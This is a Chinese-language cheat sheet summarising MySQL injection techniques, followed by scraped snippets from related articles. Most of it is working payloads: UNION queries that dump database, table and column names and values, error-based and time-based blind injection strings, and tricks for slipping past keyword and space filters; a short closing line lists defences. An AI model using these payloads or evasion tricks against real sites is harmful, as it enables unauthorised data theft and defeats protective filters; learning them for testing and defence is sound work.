MYSQL注入基础及绕过技巧总结

1、MYSQL注入原理:用户输入的内容被当作sql语句来执行

2、MYSQL注入实战心得:一试参数,二试类型,三试绕过

一试参数:任何注入参数,都需确定其类型(数字还是字符),此处指的是注入参数的类型(***)

常用测试字符:引号(单双),圆括号,引号加圆括号......

二试类型:五大类(BEUST):布尔型盲注、报错型注入、UNION联合查询型注入、时间延迟型盲注、堆查询注入

布尔型盲注:and 1=1 , and 1=2 , or 1=1 , or 1=2 ......

报错型注入:

 floor:and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

 updatexml:and 1=updatexml(1,concat(0x7e,(select database())),1)

 extractvalue:and 1=extractvalue(1,concat(0x7e,(select database())))

 ......

 UNION联合查询型注入:

 order by n //定字段,n为正整数

 union select 1,2,3...... //看回显,无回显的时候尝试让union前的语句报错(@@@&&****)

 回显位爆库,表,字段,值,以第二位为回显位举例,常用命令如下所示:

union select 1,group_concat(schema_name),3 from information_schema.schemata //爆库

 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()//爆表

 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘表名‘//爆字段

 union select 1,group_concat(字段1,0x3a,字段2),3 from 表名 //爆值,0x3a是用来分隔字段的,方便我们查看

 时间延迟型注入:根据页面响应延迟来判断,测试参数:and sleep(5)

 注入方法(猜解法):

 and if(length(database())>‘5‘,sleep(5),0)  //猜解库名长度

 and if(ord(mid(database(),1,1))>100,sleep(5),0)  //猜库名第一个字符

 ......此处借助sqlmap会更好一些

 堆查询注入:同时执行多条sql语句,可以执行增删改查语句,不同语句以分号隔开

三试绕过:就是不断地尝试,简单说几个

 绕过空格:+,/**/,双重空格,回车换行符(%0a,%a0),宽字节(%df),圆括号

 绕过union,select等关键字:大小写,双写(uniounionn,unionunion),内联注释(/*!union*/),编码

 绕过and、or:&&,||,%26%26,大小写,双写关键字(anandd,andand),编码

 ......       

3、MYSQL注入防御方法:黑白名单严格过滤用户输入的内容;使用参数化查询;使用sql注入安全防护设备   

时间: 2024-11-08 18:11:58

MYSQL注入基础及绕过技巧总结的相关文章

mysql注射的过滤绕过技巧1 by 李劼杰

MySQL注射的过滤绕过技巧[1] By lijiejie on 2014 年 10 月 11 日 转自:http://www.lijiejie.com/mysql-injection-bypass-waf/ SQL注射的绕过技巧较多,此文仅做一些简单的总结. 前文已经提到,最好利用的注射点: 支持Union 可报错 支持多行执行.可执行系统命令.可HTTP Request等额外有利条件 若非以上类型,则可能需要暴力猜解.猜解时,可能会遇到一些限制.攻击者要做的,就是将其个个击破. 1. 通过g

MySQL注射的过滤绕过技巧

SQL注射的绕过技巧较多,此文仅做一些简单的总结. 最好利用的注射点: 支持Union 可报错 支持多行执行.可执行系统命令.可HTTP Request等额外有利条件 若非以上类型,则可能需要暴力猜解.猜解时,可能会遇到一些限制.攻击者要做的,就是将其个个击破. 1. 通过greatest函数绕过不能使用大小于符号的情况 猜解单个字符时,通常使用折半查找. mysql> select ascii(mid(user(),1,1)) < 150; +------------------------

MYSQL注入天书之基础知识

第一部分/page-1 Basic Challenges Background-1 基础知识 此处介绍一些mysql注入的一些基础知识. (1)注入的分类---仁者见仁,智者见智. 下面这个是阿德玛表哥的一段话,个人认为分类已经是够全面了.理解不了跳过,当你完全看完整个学习过程后再回头看这段.能完全理解下面的这些每个分类,对每个分类有属于你的认知和了解的时候,你就算是小有成就了,当然仅仅是sql注入上. 基于从服务器接收到的响应? ▲基于错误的SQL注入 ▲联合查询的类型 ▲堆查询注射 ▲SQL

[转载]SQL注入绕过技巧汇总

转载一篇比较好的文章,乘心物游大佬写的. SQL注入的绕过技巧有很多,具体的绕过技巧需要看具体的环境,而且很多的绕过方法需要有一个实际的环境,最好是你在渗透测试的过程中遇到的环境,否则如果仅仅是自己凭空想,那显然是不靠谱的.这篇文章就是总结我在遇到的CTF题目或者是渗透环境的过程中,所使用到的sql注入的绕过技巧,这篇文章随着自己的见识和能力不断的提升,所总结的方法也会变多.1.引号绕过 会使用到引号的地方是在于最后的where子句中.如下面的一条sql语句,这条语句就是一个简单的用来查选得到u

mysql注入篇

博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由于我没有找见php的实战本地源码,所以只好用一些漏洞平台的源码来演示了,演示不了的,只能列代码,没有实操图.毕竟找不见源码,,没法... 首先我们都知道mysql数据库和Access数据库的不同,不同在mysql是分多个数据库名的. 就像像我上图贴的这个格式一样,原谅我是在是没有本地源码,连数据库的

Mysql注入语句

Mysql sqlinjection code # %23 -- /* /**/   注释 UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67

sql手工注入时的探测技巧汇总

工具的灵活性肯定比不上人,在手工探测的基础上再去自定义工具,才是正道. sql注入时手工探测技巧 ==================================================================================================== * 探测过滤了哪些字符 select|.|,|;|'|(|)|#|updatexml|from|where|if|limit|group|by|order|floor|sleep|rand|*|/*|

&#8203;mysql初级运维使用技巧

整理了一下,工作中用到的最高的关于mysql的一些命令和使用技巧,分享给刚接触mysql的小伙伴么. 1      mysql最基础 1.1     mysql安装 建议新人安装mysql直接使用yum安装即可,大牛们已经对其优化的差不多了,真正玩牛了再搞源码安装:    yum -y install mysql mysql-server mysql-devel 注意,如果是centos库和有些国内yum源的mysql版本都比较低,如果想要安装高版本mysql,需要换源,具体操作如下:     

MySQL数据库性能优化的技巧和窍门

数据库表表面上存在索引和防错机制,然而一个简单的查询就会耗费很长时间.Web应用程序或许在开发环境中运行良好,但在产品环境中表现同样糟糕.如果你是个数据库管理员,你很有可能已经在某个阶段遇到上述情况.因此,本文将介绍对MySQL进行性能优化的技巧和窍门. 1.存储引擎的选择 如果数据表需要事务处理,应该考虑使用InnoDB,因为它完全符合ACID特性.如果不需要事务处理,使用默认存储引擎MyISAM是比较明智的.并且不要尝试同时使用这两个存储引擎.思考一下:在一个事务处理中,一些数据表使用Inn